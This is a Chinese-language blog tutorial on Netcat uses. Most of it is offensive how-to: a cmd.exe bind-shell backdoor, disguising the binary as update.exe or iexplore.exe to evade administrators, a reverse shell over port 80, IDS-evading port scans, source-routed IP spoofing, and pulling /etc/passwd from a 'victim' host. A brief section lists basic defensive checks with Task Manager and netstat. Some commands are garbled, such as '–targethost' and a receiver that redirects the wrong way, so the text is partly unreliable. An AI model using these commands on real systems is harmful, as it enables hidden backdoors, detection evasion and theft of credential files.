網路測試的瑞士刀 Netcat 的10+種使用方法
這篇文章主要分享駭客或是網路測試必備的工具 NetCat。
因為 NETCat 是一個很小的執行工具,可以用在client/server的許多不同情境下的溝通,
因為也常被駭客用來做網路工具或是網路偵測的工具。
例如:開啟後門、遠端執行、掃描網路、檔案傳輸等,都可以透過 NETCat完成。
這篇文章會介紹幾種 NetCat的使用情境。
補充說明的視 NetCat多半的防毒軟體會認定為病毒或是後門程式而無法執行。
NetCAT 下載
Linux 版本可以透過下列網址安裝
Windows 版本可以透過下列方式取得
由於 NetCAT 變成 Nmap 的一部分,因此也可以透過這個安裝包,內涵 NetCAT的方式安裝在 Windows
- Latest release self-installer: nmap-6.49BETA5-setup-xp.exe
後門程式 or 遠端執行
如果我們希望 10.0.0.1這台電腦可以透過 port 4455 被遠端連線之後可以執行 Command line 指令,
那麼只要在10.0.0.1這台電腦A執行 netCat
C:\> ncat -l -e cmd.exe 10.0.0.1 4455 |
或是
C:\> ncat.exe –k -l –e cmd.exe 4455 |
因此遠端電腦只要連線道該 10.0.0.1 port 4455 就可以執行 10.0.0.1的 command line
這就是俗稱的 Back Door後門程式,讓遠端電腦可以連線後執行特定指令。
遠端電腦B執行 netCat 連線
ncat.exe 10.0.0.1 4455 |
連線成功後就可以執行任何 Command line 下的指令
隱藏 NetCAT.exe
由於執行 ncat.exe 很容易在 Task Manager 被發現,因此通常駭客執行這個工具會將檔名改變。避免被系統管理者發現。
例如,將 NetCAT.exe 更改檔名為 update.exe 並且放到系統目錄,再執行後門程式。
C:\> move ncat.exe c:\Windows\System32\Drivers\update.exe C:\> Windows\System32\Drivers\update.exe –k -l –e cmd.exe 4455 |
或是利用 比較不會被察覺的 port 80
C:\> mkdir C:\Windows\System32\Drivers\qC:\> move ncat.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\> cd Windows\System32\Drivers\q C:\WINDOWS\System32\DRIVERS\q\> iexplore.exe -e cmd.exe hostname 80 |
如此一來看起來就會像是 Internet Explorer要透過 port 80 連線 HTTP
系統管理者對於 NetCAT的基本檢查
另一方面讓我們看看系統管理者可以做哪些基本檢察,驗證是否有被執行後門程式 or NetCAT呢?
Task Manager
查看是否有 nc.exe NetCAT.exe ncat.exe的程序正再執行。當然如果該程序已經被更改檔名,就無法透過這個方式得知。
Netstat 查看 port 的執行狀況
查看哪些 port正在 listening
netstat -nab |
Port Scanning
儘管 NetCAT 主要的功能不是用來做 port Scanning,還是可以用 NetCAT 做基本 port的掃描。
$ nc -z 10.0.0.1 20-80
Connection to 10.0.0.1 22 port [tcp/ssh] succeeded! Connection to 10.0.0.1 80 port [tcp/http] succeeded! |
由於這樣的port scanning 網路行為很容易被 IDS 發現,因此可以加入一些其他參數減少被 IDS偵測到的機率
r: 隨機掃瞄
-i: 每隔 30秒,掃描一個 port
$ nc -v -z -r -i 30 10.0.0.1 20-80 |
Port Scanning 基本原理
port scanning 主要利用 TCP 連線時的基本原理 3-way handshake ,透過3-way handshake 的回應來判斷遠端電腦 port 是否有開啟。
簡單來說:如果 port有通的話一定會有 “SYN/ACK”的回覆。如果沒有回覆或是回覆其他的狀態 RST都表示 port 沒有通。
例如下圖,遠端Server電腦回覆 “RST”,表示 port 沒有通。
例如下圖,遠端Server電腦回覆 “SYN+ACK”,表示 port 有通。
UDP port Scanning
這是 TCP的特性,那麼UDP可以這樣做嗎?
儘管我們可以透過下列指令對於 UDP port 作掃描,但是 UDP的掃描相對會有不準確的狀況。
nc -v -z -r -u -i 30 10.1.1.1 20-80 |
對於UDP port 是否有通, NC 主要透過 Internet Control Message Protocol (ICMP) 的錯誤訊息來判斷,
但是許多的防火牆會設定不回覆 ICMP,這會造成掃描的結果誤判的機率提高。
遠端主機的服務資訊
知道哪些 port 有通沒有通之後,可以進一步獲取每個 port 的服務資訊。例如是使用哪種 Web server or FTP server
$ echo QUIT | nc -v 10.1.1.1 21 22 80 |
$nc -v 10.1.1.1 80 |
例如與 syslog溝通
$ echo “0I can speak syslog” | nc -u 10.1.1.1 514 |
偽造 IP
NetCAT 還可以變造過程中經過的結點 IP。
例如這個例子,最終目的地為 10.1.1.1 的 port 23。但是中間的結點變造經過了 10.10.4.5 …10.10.5.8 等
nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.1.1.1 23 |
檔案的傳輸
可以透過 NetCAT 將遠端電腦的機密檔案回傳。例如系統預設的密碼檔案。
遠端電腦 (受害者電腦)
$ nc –l –u 55555 < file_we_want |
$ nc –l –u 55555 < /etc/passwd |
駭客電腦
nc –u –targethost 55555 < copy_of_file |
NetCat 的用途很廣泛,也就是為什麼被視為駭客工具的瑞士小刀,
當然也被防毒軟體視為是後門程式禁止執行。